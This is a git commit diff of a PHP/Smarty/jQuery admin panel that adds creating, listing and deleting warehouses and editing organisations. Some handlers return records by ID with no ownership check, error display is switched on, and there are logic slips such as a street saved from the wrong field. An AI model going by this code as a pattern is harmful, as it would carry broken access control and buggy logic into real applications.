Кривое создание и удаление складов

This commit is contained in:
root 2023-02-19 19:07:48 +03:00
parent 661dc49ba7
commit 949d98626e
47 changed files with 4095 additions and 586 deletions

BIN
ScreenToGif.2.37.2.Setup.x64.msi Executable file

Binary file not shown.

View File

@ -2,14 +2,18 @@
</div> </div>
<!-- END PAGE CONTENT--> <!-- END PAGE CONTENT-->
<div class="clear-fix" style="clear: all;"></div> <div class="clear-fix" style="clear: all;"></div>
<footer class="page-footer"> <!-- footer class="page-footer">
<div class="font-13">2022 © <b>YurecSoftware</b> - All rights reserved.</div> <div class="font-13">2022 © <b>YurecSoftware</b> - All rights reserved.</div>
<!-- a class="px-4" href="http://themeforest.net/item/adminca-responsive-bootstrap-4-3-angular-4-admin-dashboard-template/20912589" target="_blank">BUY PREMIUM</a --> < a class="px-4" href="http://themeforest.net/item/adminca-responsive-bootstrap-4-3-angular-4-admin-dashboard-template/20912589" target="_blank">BUY PREMIUM</a ->
<div class="to-top"><i class="fa fa-angle-double-up"></i></div> <div class="to-top"><i class="fa fa-angle-double-up"></i></div>
</footer> </footer -->
</div> </div>
</div> </div>
<!-- BEGIN PAGA BACKDROPS--> <!-- BEGIN PAGA BACKDROPS-->
<div class="sidenav-backdrop backdrop"></div> <div class="sidenav-backdrop backdrop"></div>
<div class="preloader-backdrop"> <div class="preloader-backdrop">

View File

@ -1,9 +1,69 @@
<?php <?php
ini_set('display_errors', 0 ); ini_set('display_errors', 1 );
if ( !$_SESSION['user_id'] ) die ( 'Кыш' ); if ( !$_SESSION['user_id'] ) die ( 'Кыш' );
switch( @$_POST['act'] ) { switch( @$_POST['act'] ) {
/* ----------------------------------------------------------------------
19.02.2023
Удаление склада
---------------------------------------------------------------------- */
case 'del_sklad':
// По ИД склада определяем магазин, смотрим в таблице multiOrg что магазин наш и тогда удаляем
$org_id=\DB::getValue("SELECT `org_id` FROM `sp_sklad` WHERE `id`=? LIMIT 1", $_POST['sklad_id']);
$id=\DB::getValue ( "SELECT `id` FROM `multiOrg` WHERE `user_id`=? AND `org_id`=? AND `status`=? LIMIT 1", array( $_SESSION['user_id'], $org_id, 1 ) );
if ($id)\DB::set("DELETE FROM `sp_sklad` WHERE `id`=? LIMIT 1", $_POST['sklad_id']);
break;
/* ----------------------------------------------------------------------
17.02.2023
Получаем список складов
отправляем jsonom
---------------------------------------------------------------------- */
case 'get_sklad':
echo \json::to_j(\DB::getAll("SELECT `id`, `txt` FROM `sp_sklad` WHERE `org_id`=? ORDER BY `txt`", $_POST['org_id']));
break;
/* ----------------------------------------------------------------------
16.02.2023
Форма сохранения склада
Если есть ИД - сохраняем изменения, если нет - создаем
---------------------------------------------------------------------- */
case 'newsklad':
//Точно ли выбрана организация... Если нет, то хрен
if (!$_POST['org_id'])die("Не выбрана организация");
//Узнаем, есть ли улица, если нет - создаем....
$street_id=\DB::getValue("SELECT `id` FROM `street` WHERE `txt`=? AND `city_id`=? LIMIT 1", array($_POST['street'], $_POST['city']));
if (!$street_id)$street_id=\DB::add("INSERT INTO `street` (`txt`, `city_id`, `region_id`, `strana_id`) VALUES(?, ?, ?, ?)", array($_POST['txt'], $_POST['city'], $_POST['region'], 1));
//Если выбран склад - обновляем, иначе - создаем
if(@$_POST['sklad_id']){
\DB::set("UPDATE `sp_sklad` SET `org_id`=?, `txt`=?,`region`=?, `city`=?, `street`=?, `dom`=?,`telefon`=?, `sp_sklad_tip`=?, `map`=?, `id1c`=? WHERE `id`=? LIMIT 1", array( $_POST['org_id'],$_POST['txt'], $_POST['region'],$_POST['city'], $street_id, $_POST['dom'], $_POST['telefon'],$_POST['sp_sklad_tip'], $_POST['map'],$_POST['id1c'],$_POST['sklad_id'] ));
echo 'update';
}else{
echo \DB::add("INSERT INTO `sp_sklad` (`org_id`,`txt`, `region`,`city`, `street`,`dom`, `telefon`,`sp_sklad_tip`,`map`, `id1c`) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", array($_POST['org_id'], $_POST['txt'], $_POST['region'], $_POST['city'], $street_id, $_POST['dom'], $_POST['telefon'], $_POST['sp_sklad_tip'], $_POST['map'], $_POST['id1c']));
}
break;
/* ----------------------------------------------------------------------
15.02.2023
Форма сохранения данных об организации
Если есть ИД - сохраняем изменения, если нет - создаем
---------------------------------------------------------------------- */
case 'saveOrg':
$vid = ( strlen ( $_POST['inn'] ) ==12 ) ? 'Индивидуальный предприниматель' : 'Юридическое лицо';
if ($_POST['org-id']){
\DB::set("UPDATE `org` SET `txt`=?,`inn`=?, `kpp`=?,`ogrn`=?,`vid`=?,`ur_adres`=?,`fact_adres`=?, `site`=?, `email`=?, `tel`=? WHERE `id`=? LIMIT 1", array($_POST['txt'], $_POST['inn'], $_POST['kpp'], $_POST['ogrn'], $vid, $_POST['ur_adres'], $_POST['fact_adres'], $_POST['site'], $_POST['email'], $_POST['tel'],$_POST['org-id'] ) );
echo 'update';
}else{
$insert_id=\DB::add("INSERT INTO `org` (`txt`, `inn`, `kpp`, `ogrn`, `vid`, `ur_adres`, `fact_adres`, `site`, `email`, `tel`) VALUES(?,?,?,?,?,?,?,?,?,?)", array( $_POST['txt'], $_POST['inn'], $_POST['kpp'], $_POST['ogrn'], $vid, $_POST['ur_adres'], $_POST['fact_adres'], $_POST['site'], $_POST['email'], $_POST['tel'] ) );
\DB::add ( "INSERT INTO `multiOrg` ( `user_id`, `org_id`, `status` )VALUES( ?, ?, ? )", array( $_SESSION['user_id'], $insert_id, 1 ) );
echo $insert_id;
}
break;
/* ---------------------------------------------------------------------- /* ----------------------------------------------------------------------
07.02.2023 07.02.2023
Вынимаем данные организации для редактирования Вынимаем данные организации для редактирования
@ -11,9 +71,6 @@ switch( @$_POST['act'] ) {
case 'getorg': case 'getorg':
$arr=\DB::getAll("SELECT * FROM `org` WHERE `id`=?", $_POST['id']); $arr=\DB::getAll("SELECT * FROM `org` WHERE `id`=?", $_POST['id']);
echo \json::to_j($arr); echo \json::to_j($arr);
break; break;
/* ---------------------------------------------------------------------- /* ----------------------------------------------------------------------
07.02.2023 07.02.2023

View File

@ -0,0 +1,18 @@
<form id="formEditOrg">
<input type="hidden" id="org-id" name="org-id">
<input type="hidden" name="act" value="saveOrg">
<input class="form-control mb-2" id="txt" name="txt" placeholder="Наименование организации">
<input class="form-control mb-2" id="inn" name="inn" placeholder="ИНН" maxlength="12">
<input class="form-control mb-2" id="kpp" name="kpp" placeholder="КПП" maxlength="9">
<input class="form-control mb-2" id="ogrn" name="ogrn" placeholder="ОГРН">
<input class="form-control mb-2" id="ur_adres" name="ur_adres" placeholder="Юридический адрес">
<input class="form-control mb-2" id="fact_adres" name="fact_adres" placeholder="Фактический адрес">
<hr>
<b>Контакты организации</b>
<input class="form-control mb-2" id="site" name="site" placeholder="Официальный сайт">
<input class="form-control mb-2" id="email" name="email" placeholder="Электронная почта">
<textarea class="form-control mb-2" id="tel" name="tel" placeholder="Номера телефонов" style="height: 200px;"></textarea>
<input type="submit" name="ok" value="Сохранить" class="btn btn-dark">
<div class="alert alert-dark hidden" role="alert" id="alert-od">
</div>
</form>

View File

@ -28,9 +28,9 @@
<div class="col-lg-12"> <div class="col-lg-12">
<div class="ibox p-3"> <div class="ibox p-3">
<h3>Мои организации</h3> <h3>Мои организации</h3>
<table class="table"> <table class="table" id="table-org-list">
{section name=customer loop=$listMyOrgs} {if $listMyOrgs[customer].id} {section name=customer loop=$listMyOrgs} {if $listMyOrgs[customer].id}
<tr><td><a href="{$listMyOrgs[customer].org_id}" class="editorg">{$listMyOrgs[customer].txt}</a></td></tr> <tr><td id="org-list-{$listMyOrgs[customer].org_id}"><a href="{$listMyOrgs[customer].org_id}" class="editorg">{$listMyOrgs[customer].txt}</a></td></tr>
{/if} {/section} {/if} {/section}
</table> </table>
</div> </div>
@ -60,24 +60,30 @@
<li class="nav-item"> <li class="nav-item">
<a class="nav-link" href="#tab-8-2" data-toggle="tab"><i class="fa fa-bus"></i> Документация</a> <a class="nav-link" href="#tab-8-2" data-toggle="tab"><i class="fa fa-bus"></i> Документация</a>
</li> </li>
<li class="nav-item">
<a class="nav-link" href="#tab-8-4" data-toggle="tab"><i class="fa fa-bus"></i> Склады</a>
</li>
</ul> </ul>
</div> </div>
<div class="ibox-body"> <div class="ibox-body">
<div class="tab-content"> <div class="tab-content">
<div class="tab-pane fade show active" id="tab-8-1"> <div class="tab-pane fade show active" id="tab-8-1">
<form id="formEditOrg"> {include file=$inc_org_edit}
<input class="form-control mb-2" id="txt" placeholder="Наименование организации">
<input class="form-control mb-2" id="inn" placeholder="ИНН">
<input class="form-control mb-2" id="kpp" placeholder="КПП">
<input class="form-control mb-2" id="ogrn" placeholder="ОГРН">
<input class="form-control mb-2" id="ur_adres" placeholder="Юридический адрес">
<input class="form-control mb-2" id="fact_adres" placeholder="Фактический адрес">
</form>
</div> </div>
<div class="tab-pane" id="tab-8-2"> <div class="tab-pane" id="tab-8-2">
<!-- Документы -->
</div>
<div class="tab-pane" id="tab-8-4">
<a class="btn btn-dark" href="#modalNewSklad" data-toggle="modal">Создать</a>
<!-- склады -->
<table class="table" id="sklad_list">
</table>
</div> </div>
</div> </div>
</div> </div>
@ -95,6 +101,7 @@
<div class="modal-dialog modal-dialog-centered modal-xl" role="document"> <div class="modal-dialog modal-dialog-centered modal-xl" role="document">
<div class="modal-content"> <div class="modal-content">
<div class="modal-body"> <div class="modal-body">
<!-- -->
<div class="container-fluid"> <div class="container-fluid">
<div class="row"> <div class="row">
<div class="col text-right"> <div class="col text-right">
@ -104,7 +111,8 @@
</div> </div>
</div> </div>
</div> </div>
<!-- -->
<!-- -->
<div class="row"> <div class="row">
<div class="col-md-12"> <div class="col-md-12">
<div class="row"> <div class="row">
@ -124,7 +132,13 @@
</div> </div>
</div> </div>
</div> </div>
<!-- -->
</div> </div>
</div> </div>
</div> </div>
</div>
{include file=$modal_new_sklad}
{include file=$footer_admin plugins="<script src='/api/jquery/plugins/jquery_chained/jquery.chained.min.js'></script>"} {include file=$footer_admin plugins="<script src='/api/jquery/plugins/jquery_chained/jquery.chained.min.js'></script>"}

View File

@ -31,28 +31,31 @@ $smarty -> assign( 'listMyOrgsCheck', $listMyOrgsCheck );
if ( !$_SESSION['user_id'] && !ID ) header ( 'Location: /login/' ); if ( !$_SESSION['user_id'] && !ID ) header ( 'Location: /login/' );
/* ---------------------------------------------------------------------- /* ----------------------------------------------------------------------
06.11.2022 15.02.2022
Получаем опции пользователя для меню Получаем справочник типов складов
---------------------------------------------------------------------- */ ---------------------------------------------------------------------- */
$smarty -> assign( 'sp_sklad_tip', \DB::getAll("SELECT * FROM `sp_sklad_tip` ORDER BY `txt`") );
//$userOption = DB::getAll('SELECT * FROM `userOption` WHERE `user_id` = ' . Clean::str($_SESSION['user_id']) . ' LIMIT 1');
//$smarty -> assign( 'userOption', $userOption );
/* ---------------------------------------------------------------------- /* ----------------------------------------------------------------------
06.11.2022 15.02.2022
Получаем список своих организаций Получаем справочник регионов
---------------------------------------------------------------------- */ ---------------------------------------------------------------------- */
/* $smarty -> assign( 'region', \DB::getAll("SELECT * FROM `region` WHERE `strana_id`=1 ORDER BY `txt`") );
$myOrgsOnCheck = \DB::getAll('SELECT * FROM `org` WHERE `id` IN (SELECT `org_id` FROM `multiOrg` WHERE `user_id`=' . $_SESSION['user_id'] . ' AND `status`<>1 )');
for ($i=0; $i<count($myOrgsOnCheck); $i++){ /* ----------------------------------------------------------------------
$myOrgsOnCheck[$i]['status'] = \DB::getValue("SELECT `status` FROM `multiOrg` WHERE `org_id` = " . $myOrgsOnCheck[$i]['id']); 15.02.2022
} Получаем справочник городов
---------------------------------------------------------------------- */
$smarty -> assign( 'city', \DB::getAll("SELECT * FROM `city` WHERE `strana_id`=1 ORDER BY `txt`") );
/* ----------------------------------------------------------------------
15.02.2022
Подключение модулей
---------------------------------------------------------------------- */
$smarty -> assign( 'modal_new_sklad', "api/modules/lk-my-orgs/modal_new_sklad.html" );
$smarty -> assign( 'inc_org_edit', "api/modules/lk-my-orgs/inc_org_edit.html" );
$smarty -> assign( 'myOrgsOnCheck', $myOrgsOnCheck );
$myOrgs = \DB::getAll('SELECT * FROM `org` WHERE `id` IN (SELECT `org_id` FROM `multiOrg` WHERE `user_id`=' . $_SESSION['user_id'] . ' AND `status`=1 )');
$smarty -> assign( 'myOrgs', $myOrgs );
*/
?> ?>

View File

@ -1,3 +1,58 @@
/* ----------------------------------------------------------------------
19.02.2023
Удаление склада
---------------------------------------------------------------------- */
$(document).on("click", ".a-del-sklad", function(event){
var sklad_id = $(this).attr('href');
$.ajax({
type: 'POST',
url: '/act/lk-my-orgs',
data: 'act=del_sklad&sklad_id=' + $(this).attr('href'),
success: function(data) {
(function() {
//alert(sklad_id);
$("#tr_sklad_list_" + sklad_id).addClass("hidden");
})();
}
});
return false;
})
/* ----------------------------------------------------------------------
15.02.2023
Форма сохранения склада
---------------------------------------------------------------------- */
$("#formNewSklad").submit(function(event) {
var alertID=$(this).data("alertID")
event.preventDefault();
var formData = new FormData(this);
$.ajax({
type: 'POST', // Тип запроса
url: '/act/lk-my-orgs', // Скрипт обработчика
data: formData, // Данные которые мы передаем
cache: false, // В запросах POST отключено по умолчанию, но перестрахуемся
contentType: false, // Тип кодирования данных мы задали в форме, это отключим
processData: false,
success: function(data) {
(function() {
if (data=='update'){
//??? Обновить нужно строку с новым именем
$(alertID).text('Сохранено');
}else{
$(alertID).text('Склад создан!');
// Проверить - не встает имя склада автоматом
$("#sklad_list").append("<tr id='tr_sklad_list_" + data + "'><td><a href='" + data + "' class='a_edit_sklad'>" + $("#inputSkladTxt").val() + "</a></td><td><a href='" + data + "' type='button' class='btn btn-dark a-del-sklad'>Удалить</a></td></tr>");
}
})(data, alertID);
}
});
$(".close").click();
$(this)[0].reset();
})
/* ---------------------------------------------------------------------- /* ----------------------------------------------------------------------
07.02.2023 07.02.2023
Форма добавления коментария Форма добавления коментария
@ -17,12 +72,41 @@ $("#formNewOrg").submit(function(event) {
$("#resultAddOrg").removeClass('hidden'); $("#resultAddOrg").removeClass('hidden');
}) })
/* ----------------------------------------------------------------------
15.02.2023
Форма сохранения данных об организации
---------------------------------------------------------------------- */
$("#formEditOrg").submit(function(event) {
event.preventDefault();
var formData = new FormData(this);
$.ajax({
type: 'POST', // Тип запроса
url: '/act/lk-my-orgs', // Скрипт обработчика
data: formData, // Данные которые мы передаем
cache: false, // В запросах POST отключено по умолчанию, но перестрахуемся
contentType: false, // Тип кодирования данных мы задали в форме, это отключим
processData: false,
success: function(data) {
(function() {
$("#alert-od").removeClass('hidden');
$("#alert-od").cl
if (data=='update'){
$("#alert-od").text('Сохранено');
}else{
$("#alert-od").text('Организация создана');
$("#org-id").val(data);
$("#table-org-list").append('<tr><td id="org-list-'+ data +'"><a href="' + data + '" class="editorg">' + $("#txt").val() + '</a></td></tr>');
}
})(data);
}
});
})
/* ---------------------------------------------------------------------- /* ----------------------------------------------------------------------
07.02.2023 07.02.2023
Вынимаем данные организации для редактирования Вынимаем данные организации для редактирования
---------------------------------------------------------------------- */ ---------------------------------------------------------------------- */
$(".editorg").click(function(event) { $(document).on("click", ".editorg", function(event){
$.ajax({ $.ajax({
type: 'POST', type: 'POST',
url: '/act/lk-my-orgs', url: '/act/lk-my-orgs',
@ -30,27 +114,45 @@ $(".editorg").click(function(event) {
dataType: 'json', dataType: 'json',
success: function(data) { success: function(data) {
$.each(data, function(index, element){ $.each(data, function(index, element){
$("#org-id").val(element.id);
$("[name=org_id]").val(element.id);
$("#txt").val(element.txt); $("#txt").val(element.txt);
$("#inn").val(element.inn); $("#inn").val(element.inn);
$("#kpp").val(element.kpp); $("#kpp").val(element.kpp);
$("#ogrn").val(element.ogrn); $("#ogrn").val(element.ogrn);
$("#ur_adres").val(element.ur_adres);
$("#fact_adres").val(element.fact_adres);
$("#site").val(element.site);
$("#email").val(element.email);
$("#tel").val(element.tel);
}) })
} }
}); });
$("#sklad_list").html('');
$.ajax({
type: 'POST',
url: '/act/lk-my-orgs',
data: 'act=get_sklad&org_id=' + $(this).attr('href'),
dataType: 'json',
success: function(data) {
$.each(data, function(index, element1){
$("#sklad_list").append("<tr id='tr_sklad_list_" + element1.id + "'><td><a href='" + element1.id + "' class='a_edit_sklad'>" + element1.txt + "</a></td><td><a href='" + element1.id + "' type='button' class='btn btn-dark a-del-sklad'>Удалить</a></td></tr>");
})
}
});
return false; return false;
}) })
/* ---------------------------------------------------------------------- /* ----------------------------------------------------------------------
01.11.2022 01.11.2022
Поиск организации по ИНН Поиск организации по ИНН
---------------------------------------------------------------------- */ ---------------------------------------------------------------------- */
function showOrg(data){
alert(data);
}
$("#input-inn").keyup(function(event) { $("#input-inn").keyup(function(event) {
var inn=$(this).val(); var inn=$(this).val();
//Отправлять аякс запрос только в том случае, если длина ИНН 10 или 12 символов //Отправлять аякс запрос только в том случае, если длина ИНН 10 или 12 символов
@ -105,9 +207,6 @@ $("#btnAddOrg").click(function(event) {
}) })
} }
}); });
}) })
$("#sel-children-city").chained("#sel-parent-region"); $("#sel-children-city").chained("#sel-parent-region");
@ -120,188 +219,4 @@ function getRandomInt(min, max) {
max = Math.floor(max); max = Math.floor(max);
return Math.floor(Math.random() * (max - min)) + min; //Максимум не включается, минимум включается return Math.floor(Math.random() * (max - min)) + min; //Максимум не включается, минимум включается
} }
/* ----------------------------------------------------------------------
03.06.2022
Сохраняем информацию о пользователе
---------------------------------------------------------------------- */
/*
$('#user_json').submit(function(event) {
event.preventDefault();
var formData = new FormData(this);
$.ajax({
type: 'POST', // Тип запроса
url: $(this).attr('action'), // Скрипт обработчика
data: formData, // Данные которые мы передаем
cache: false, // В запросах POST отключено по умолчанию, но перестрахуемся
contentType: false, // Тип кодирования данных мы задали в форме, это отключим
processData: false,
success: function(data) {}
});
$("#change_ok").removeClass("hidden");
});
/* ----------------------------------------------------------------------
04.06.2022
Ищем организацию по ИНН
---------------------------------------------------------------------- */
/*
function org_name(txt) {
if (txt == '1') {
$("#input-org_name").val('');
$("#input-org_name").removeAttr('disabled');
} else {
$("#input-org_name").val(txt);
$("#input-org_name").attr('disabled');
}
}
$('#input-inn').keyup(function(event) {
event.preventDefault();
var inn = $(this).val();
if (inn.length == 10 || inn.length == 12) {
var act = 'find_org';
$.ajax({
type: 'POST', // Тип запроса
url: '/act/lk', // Скрипт обработчика
data: 'act=' + act + '&inn=' + inn, // Данные которые мы передаем
success: function(data) { org_name(data) }
});
}
});
/* ----------------------------------------------------------------------
05.06.2022
Сохранение адреса доставки
---------------------------------------------------------------------- */
/*
function add_adres_append(gorod, street, dom) {
var new_tr = '<tr><td style="text-align: left;">' + gorod + ' ' + street + ' ' + dom + '</td><td style="width: 20px;"></td></tr>';
$("#table_adres").append(new_tr);
}
$('#add_adres').submit(function(event) {
event.preventDefault();
var formData = new FormData(this);
$.ajax({
type: 'POST', // Тип запроса
url: $(this).attr('action'), // Скрипт обработчика
data: formData, // Данные которые мы передаем
cache: false, // В запросах POST отключено по умолчанию, но перестрахуемся
contentType: false, // Тип кодирования данных мы задали в форме, это отключим
processData: false,
success: function(data) {}
});
// не много индусского кода не повредит
for (var pair of formData.entries()) {
if (pair[0] == 'gorod') var gorod = pair[1];
if (pair[0] == 'street') var street = pair[1];
if (pair[0] == 'dom') var dom = pair[1];
}
add_adres_append(gorod, street, dom);
$(".input-adres").val('');
});
/* ----------------------------------------------------------------------
05.06.2022
Удаление адресов
---------------------------------------------------------------------- */
/*
$('.img-del').click(function(event) {
var id = $(this).data('id');
$("#" + id).hide("600");
$.ajax({
type: 'POST', // Тип запроса
url: '/act/lk', // Скрипт обработчика
data: 'id=' + id + '&act=del_adres', // Данные которые мы передаем
success: function(data) {}
});
})
/* ----------------------------------------------------------------------
10.10.2022
Сохранение личной информации (p006)
---------------------------------------------------------------------- */
/*
$('#btnSave-p006').click(function(event) {
//event.preventDefault();
var familiya = $("#familiya").val();
var imya = $("#imya").val();
var otchestvo = $("#otchestvo").val();
var tel = $("#tel").val();
var email = $("#email").val();
$.ajax({
type: 'POST', // Тип запроса
url: '/act/lk', // Скрипт обработчика
data: 'act=btnSave-p006&familiya=' + familiya + '&imya=' + imya + '&otchestvo=' + otchestvo + '&tel=' + tel + '&email=' + email, // Данные которые мы передаем
success: function(data) {}
});
});
$("#btn-get-bablo").click(function(event) {
var summa = $("#input-get-summ").val();
$.ajax({
type: "POST",
url: '/act/lk',
data: "act=get_bablo&summa=" + summa,
success: function(data) {
alert(data);
}
});
$('#modal-balans-vyvod').modal('hide');
return false;
})
//кнопка удаления в модальном окошке
$("#input-summ").keyup(function(event) {
var rnd = getRandomInt(100000, 999999);
$("#div-img-qr").load("/api/modules/lk/load.php?summ=" + $(this).val());
/*$.ajax({
type: "POST",
url: '/act/lk',
data: "act=creat_qr&id=" + $(this).val(),
success: function(data) {
$("#img-qr").attr('src', data + '?id=' + rnd);
}
});
*/ */
/*
})
//Показываем окошко удаления обложки
$("#btn-open-modal-del-img").click(function(event) {
$('#exampleModal2').modal('show');
return false;
})
$("#del_img").click(function(event) {
$('#div-img').hide('2000');
$('#exampleModal2').modal('hide');
var id = $(this).data('id');
$.ajax({ type: "POST", url: '/act/page_cat', data: "act=del_img&id=" + id });
return false;
})
/*
$(document).ready(function() {
$('.owl-carousel').owlCarousel({
items: 3,
margin: 10,
nav: false
});
});*/

View File

@ -0,0 +1,86 @@
{*
Модальное окно с формой создания склада
*}
<div class="modal fade" id="modalNewSklad" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered modal-xl" role="document">
<div class="modal-content">
<div class="modal-body">
<div class="container-fluid">
<div class="row">
<div class="col text-right">
<button type="button" class="close" data-dismiss="modal" aria-label="Close" >
<span aria-hidden="true"> <i class="fa fa-times"></i></span>
</button>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12">
<div class="row">
<div class="col-md-12">
<h3>Новый склад</h3>
<form id="formNewSklad" action="/act/lk-my-orgs" class="row" data-alertID="#alertSaveSklad">
<input type="hidden" name="org_id">
<input class="hidden" name="act" value="newsklad">
<div class="col-md-12">
<label class="form-label">Название</label>
<input type="text" class="form-control" name="txt" id="inputSkladTxt">
</div>
<div class="col-md-12">
<label class="form-label">Тип склада</label>
<select class="form-control mb-3" name="sp_sklad_tip">
{section name=customer loop=$sp_sklad_tip} {if $sp_sklad_tip[customer].id}
<option value="{$sp_sklad_tip[customer].id}">{$sp_sklad_tip[customer].txt}</option>
{/if} {/section}
</select>
</div>
<div class="col-md-6">
<label class="form-label">Регион</label>
<select class="form-control mt-2 mb-2" name="region" id="sel-parent-region">
{section name=customer loop=$region} {if $region[customer].id}
<option value="{$region[customer].id}" {if ($user_info["0"].region == $region[customer].id)} selected {/if}>{$region[customer].txt}</option>
{/if} {/section}
</select>
</div>
<div class="col-md-6">
<label class="form-label">Город</label>
<select class="form-control mt-2 mb-2" name="city" id="sel-children-city">
{section name=customer loop=$city} {if $city[customer].id}
<option value="{$city[customer].id}" data-chained="{$city[customer].region_id}" {if ($user_info['0'].city==$city[customer].id)} selected{/if}>{$city[customer].txt}</option>
{/if} {/section}
</select>
</div>
<div class="col-md-6">
<label class="form-label">Улица</label>
<input type="text" class="form-control" name="street">
</div>
<div class="col-md-6">
<label class="form-label">Дом</label>
<input type="text" class="form-control" name="dom">
</div>
<div class="col-md-6">
<label class="form-label">Телефоны</label>
<textarea class="form-control" name="telefon"></textarea>
</div>
<div class="col-md-6">
<label class="form-label">2GIS</label>
<input type="text" class="form-control" name="map">
</div>
<div class="col-md-12">
<label class="form-label">ИД 1С <small>?</small></label>
<input type="text" class="form-control" name="id1c">
</div>
<hr>
<div class="col-md-12">
<input type="submit" class="btn btn-dark mb-2 mt-2" id="btnAddSklad" data-id="" name="createOrg" value="Создать">
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>

View File

@ -1,53 +1,14 @@
<?php <?php
/* ----------------------------------------------------------------------
//print_r($_FILES); 11.02.2023
//print_r($_POST); Добавляем коммент
//echo 1; ---------------------------------------------------------------------- */
switch( @$_POST['act'] ) { switch( @$_POST['act'] ) {
case 'add_comment': case 'add_comment':
$_POST['t'] = time(); $_POST['t'] = time();
if ( !$_SESSION['user_id']) die ( 'не авторизован' ); if ( !$_SESSION['user_id']) die ( 'не авторизован' );
\DB::add( "INSERT INTO `pages_comments` (`user_id`, `page_id`, `txt`, `t`, `status`) VALUES(?, ?, ?, ?, 0)", array( $_SESSION['user_id'], $_POST['page_id'], nl2br( $_POST['txt']), time() ) );
\DB::add("INSERT INTO `pages_comments` (`user_id`, `page_id`, `txt`, `t`, `status`) VALUES(?, ?, ?, ?, 0)", array(
$_SESSION['user_id'],
$_POST['page_id'],
nl2br( $_POST['txt']),
time()
));
break;
case 'like':
unset($a);
unset($b);
$a['id']=$_POST['id'];
$b['likes']=$db->get_val('pages', $a, 'likes')+1;
setcookie ("page_like", $a['id'], time()+31536000, '/', $_SERVER['SERVER_NAME']);
$db->update('pages', $a['id'], $b);
break;
case 'edit_title'://интерактивное измениение заголовка
break;
case 'r_comment'://рейтинг коментариев
require_once MYDIR . '/api/modules/page/ajax.' . $_POST['act'] . '.php';
break; break;
default: default:
} }
?> ?>

View File

@ -1,28 +1,14 @@
<?php <?php
ini_set('display_errors', 0); ini_set('display_errors', 0);
@mkdir('img/' . $_SERVER['SERVER_NAME'] . '/ava', 0700); @mkdir('img/' . $_SERVER['SERVER_NAME'] . '/ava', 0700);
/*
20.11.2017 добавлен поиск по алиасу (ЧПУ) /alias.html
22.03.2021: Почти все засунуто в ООП
-- Доделать лайки и дизлайки
-- Сделать коментарии
*/
//print_r($_SESSION);
/* ---------------------------------------------------------------------- /* ----------------------------------------------------------------------
11.02.2023 11.02.2023
Получаем страницу Получаем страницу
---------------------------------------------------------------------- */ ---------------------------------------------------------------------- */
$page = \DB::getAll("SELECT * FROM `pages` WHERE `id`=? LIMIT 1", $_GET['id']); $page = \DB::getAll("SELECT * FROM `pages` WHERE `id`=? LIMIT 1", $_GET['id']);
if ($page[0]['status']==0)header( 'Location: /403/' ); if ($page[0]['status']==0)header( 'Location: /403/' );
$page[0]['date']=date('d.m.Y', $page[0]['t']); $page[0]['date']=date('d.m.Y', $page[0]['t']);
$smarty->assign('page', $page); $smarty->assign('page', $page);
/* ---------------------------------------------------------------------- /* ----------------------------------------------------------------------
11.02.2023 11.02.2023
Получаем данные о пользователе Получаем данные о пользователе
@ -30,20 +16,17 @@ $smarty->assign('page', $page);
$autor=\DB::getAll("SELECT * FROM `users` WHERE `id`=? LIMIT 1", $page[0]['user_id']); $autor=\DB::getAll("SELECT * FROM `users` WHERE `id`=? LIMIT 1", $page[0]['user_id']);
if ($autor[0]['dostup']=='a')$autor[0]['dostup']='Администратор сайта'; if ($autor[0]['dostup']=='a')$autor[0]['dostup']='Администратор сайта';
$smarty->assign('autor', $autor); $smarty->assign('autor', $autor);
/* ---------------------------------------------------------------------- /* ----------------------------------------------------------------------
11.02.2023 11.02.2023
Получаем количество статей пользователя Получаем количество статей пользователя
---------------------------------------------------------------------- */ ---------------------------------------------------------------------- */
$pageskolvo=\DB::getAll("SELECT count(*) FROM `pages` WHERE `user_id`=? AND `status`=1", $page[0]['user_id']); $pageskolvo=\DB::getAll("SELECT count(*) FROM `pages` WHERE `user_id`=? AND `status`=1", $page[0]['user_id']);
$smarty->assign('pageskolvo', $pageskolvo[0]['count(*)']); $smarty->assign('pageskolvo', $pageskolvo[0]['count(*)']);
/* ---------------------------------------------------------------------- /* ----------------------------------------------------------------------
11.02.2023 11.02.2023
Получаем коментарии Получаем коментарии
---------------------------------------------------------------------- */ ---------------------------------------------------------------------- */
$comments=\DB::getAll("SELECT * FROM `pages_comments` WHERE `page_id`=? AND `status`=1 ORDER BY `id` DESC", $page[0]['id']);
$comments=\DB::getAll("SELECT * FROM `pages_comments` WHERE `page_id`=? AND `status`=1 ORDER BY `id` DESC", $_GET['id']);
//Получаем инфу о пользователе - аву и фио //Получаем инфу о пользователе - аву и фио
for ($i=0; $i<count($comments); $i++){ for ($i=0; $i<count($comments); $i++){
$user_info=\DB::getAll("SELECT `fio`, `ava` FROM `users` WHERE `id`=? LIMIT 1", $comments[$i]['user_id'] ); $user_info=\DB::getAll("SELECT `fio`, `ava` FROM `users` WHERE `id`=? LIMIT 1", $comments[$i]['user_id'] );
@ -51,50 +34,18 @@ for ($i=0; $i<count($comments); $i++){
$comments[$i]['fio']=$user_info[0]['fio']; $comments[$i]['fio']=$user_info[0]['fio'];
unset($user_info); unset($user_info);
} }
$smarty->assign('comments', $comments); $smarty->assign('comments', $comments);
/* ----------------------------------------------------------------------
14.02.2023
Пишем статистику
//print_r($page); ---------------------------------------------------------------------- */
/* $see=\DB::getValue("SELECT `see` FROM `pages` WHERE `id`=? LIMIT 1", $page[0]['id']);
//Получаем данные о категории $user_id=($_SESSION['user_id'])?$_SESSION['user_id']:session_id();
if ( $page[0]['parent'] !=0 ) $cat_info = $mod -> get_cat_info ( $page[0]['parent'] ); $id=\DB::getValue("SELECT `id` FROM `likes` WHERE `content_id`=? AND `user_id`=? AND `tip`='see' LIMIT 1", array($page[0]['id'], $user_id));
if (!$id){
//Получаем данные о пользователе $see++;
unset( $a ); \DB::set("UPDATE `pages` SET `see`=? WHERE `id`=? LIMIT 1", array($see, $page[0]['id']));
$a['id'] = $page[0]['user_id']; \DB::add("INSERT INTO `likes` (`user_id`, `content_id`, `tip`) VALUES(?, ?, ?)", array($user_id, $page[0]['id'], 'see'));
$user_info = $db -> get_val( 'users', $a, 'json' ); }
$smarty->assign('user_info', $db->from_j($user_info)); $smarty->assign('see', $see);
//получаем список категорий + статей в них
$cats=$mod->get_cat_list();
$smarty->assign('cats_lists', $cats);
